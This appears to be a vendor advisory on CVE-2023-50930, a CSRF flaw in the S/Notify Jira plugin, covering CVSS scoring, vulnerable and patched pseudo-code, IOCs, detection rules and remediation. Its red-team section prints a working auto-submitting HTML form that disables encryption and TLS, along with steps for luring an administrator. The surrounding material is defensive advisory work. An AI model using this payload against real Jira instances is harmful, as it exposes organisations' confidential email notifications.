CVE-2023-50930
Executive Summary
CVE-2023-50930 is a critical Cross-Site Request Forgery (CSRF) vulnerability in the Savignano S/Notify plugin for Jira, affecting versions prior to 4.0.2. An unauthenticated attacker can trick an authenticated Jira administrator into performing unintended actions, such as modifying the S/Notify configuration. Successful exploitation can disable email encryption, exposing sensitive notification content. The vulnerability has a CVSS score of 8.3 (High) and no public proof-of-concept (PoC) or exploit code has been identified at this time. The vendor has released a patched version (4.0.2) to address this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial Atlassian Jira plugin (S/Notify) distributed by Savignano. It is not an open-source package (NPM, PyPI, Go, Ruby). The risk is limited to organizations using Jira with the S/Notify plugin installed. The supply chain risk is moderate, as the plugin is a third-party component integrated into the Jira ecosystem.
CVSS Breakdown & Threat Level
- CVSS Score: 8.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
- User Interaction (UI): Required (R) – The victim (admin) must click a malicious link or visit a malicious site.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Email notifications may be exposed in plaintext.
- Integrity (I): High (H) – Configuration can be altered.
- Availability (A): High (H) – Attack could disrupt email notification service.
Threat Level: High. The attack requires user interaction but can lead to complete compromise of email confidentiality and integrity.
Deep Dive & Mechanics
The vulnerability is a classic CSRF flaw in the S/Notify plugin's configuration interface. The plugin does not implement anti-CSRF tokens (e.g., synchronizer tokens) for its administrative configuration endpoints. An attacker can craft a malicious HTML page or email that, when loaded by an authenticated Jira administrator, sends a forged HTTP request to the Jira server. This request modifies the S/Notify configuration, such as disabling TLS/SSL for SMTP or changing encryption settings.
Attack Flow:
- Attacker identifies a Jira instance with S/Notify installed (version < 4.0.2).
- Attacker crafts a malicious link or hosts a webpage containing a CSRF payload (e.g., an auto-submitting form).
- Attacker lures an authenticated Jira administrator to click the link or visit the page.
- The administrator's browser sends a forged request to the Jira server (e.g.,
POST /plugins/servlet/snotify/admin/config). - The server processes the request, modifying the S/Notify configuration (e.g., setting
encryption=false). - Subsequent email notifications are sent unencrypted, exposing sensitive data.
Root Cause: Missing CSRF protection on configuration endpoints.
Vulnerable vs. Patched Code
Vulnerable Code (pre-4.0.2): The configuration servlet or action class does not validate a CSRF token. Example (pseudo-code):
public class SNotifyConfigServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
// No CSRF token check
String encryption = req.getParameter("encryption");
config.setEncryption(encryption);
// Save config
}
}
Patched Code (4.0.2+): The patched version introduces a CSRF token validation. Example (pseudo-code):
public class SNotifyConfigServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
// Validate CSRF token
String token = req.getParameter("csrf_token");
if (!csrfTokenService.isValid(token)) {
resp.sendError(403, "Invalid CSRF token");
return;
}
String encryption = req.getParameter("encryption");
config.setEncryption(encryption);
// Save config
}
}
The patch adds a CSRF token that must be included in every state-changing request. The token is generated per session and validated server-side.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Jira instance (e.g., Jira 9.x) with S/Notify < 4.0.2 installed.
- Attacker machine with a web server (e.g., Python HTTP server).
- Victim machine with a browser logged into Jira as an admin.
Exploitation Steps:
- Identify the S/Notify configuration endpoint (e.g.,
/plugins/servlet/snotify/admin/config). - Craft a CSRF payload HTML file:
<html>
<body>
<form action="http://target-jira/plugins/servlet/snotify/admin/config" method="POST">
<input type="hidden" name="encryption" value="false" />
<input type="hidden" name="smtp_tls" value="false" />
<input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the file on the attacker's web server.
- Send the link to the victim (e.g., via email or social engineering).
- When the victim clicks, the form auto-submits, modifying the configuration.
Expected Outcome: Email notifications are now sent unencrypted.
Blue Team (Defensive)
Detection:
- Monitor for unusual POST requests to
/plugins/servlet/snotify/admin/configfrom non-admin IPs or without a valid CSRF token. - Alert on configuration changes to S/Notify, especially disabling encryption.
- Use web application firewalls (WAF) to block requests missing expected CSRF tokens.
Hunting:
- Search logs for
snotifyconfiguration changes. - Look for HTTP Referer headers that are external or unexpected.
- Check for multiple failed CSRF token validations (if patched).
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/plugins/servlet/snotify/admin/configwith parameters likeencryption=false. - HTTP Referer header pointing to an external domain.
- POST requests to
- Host:
- Modified S/Notify configuration file (e.g.,
snotify.properties) withencryption=false. - Jira audit logs showing configuration changes by an admin user at unusual times.
- Modified S/Notify configuration file (e.g.,
- Email:
- Email notifications sent without encryption (e.g., missing
TLSorSTARTTLSheaders).
- Email notifications sent without encryption (e.g., missing
Detection Engineering
YARA Rule
rule CVE_2023_50930_CSRF_SNotify {
meta:
description = "Detects CSRF attack against S/Notify plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-50930"
strings:
$s1 = "/plugins/servlet/snotify/admin/config" ascii wide nocase
$s2 = "encryption=false" ascii wide nocase
$s3 = "smtp_tls=false" ascii wide nocase
condition:
any of ($s*) and #s1 > 0
}
Sigma Rule
title: CVE-2023-50930 S/Notify CSRF Configuration Change
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts to modify S/Notify configuration
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: jira
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/plugins/servlet/snotify/admin/config'
cs-uri-query|contains:
- 'encryption=false'
- 'smtp_tls=false'
condition: selection
falsepositives:
- Legitimate admin configuration changes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-50930 S/Notify CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/plugins/servlet/snotify/admin/config"; http_uri; content:"encryption=false"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade S/Notify to version 4.0.2 or later.
- If upgrade is not possible, implement a WAF rule to block POST requests to
/plugins/servlet/snotify/admin/configwithout a valid CSRF token.
Long-term:
- Enforce CSRF protection on all administrative endpoints.
- Use same-origin policy checks (e.g., validate
Refererheader). - Educate administrators about phishing and social engineering risks.
Workaround:
- Restrict access to the S/Notify configuration page via IP whitelisting or VPN.
- Monitor Jira audit logs for configuration changes.
Valters IT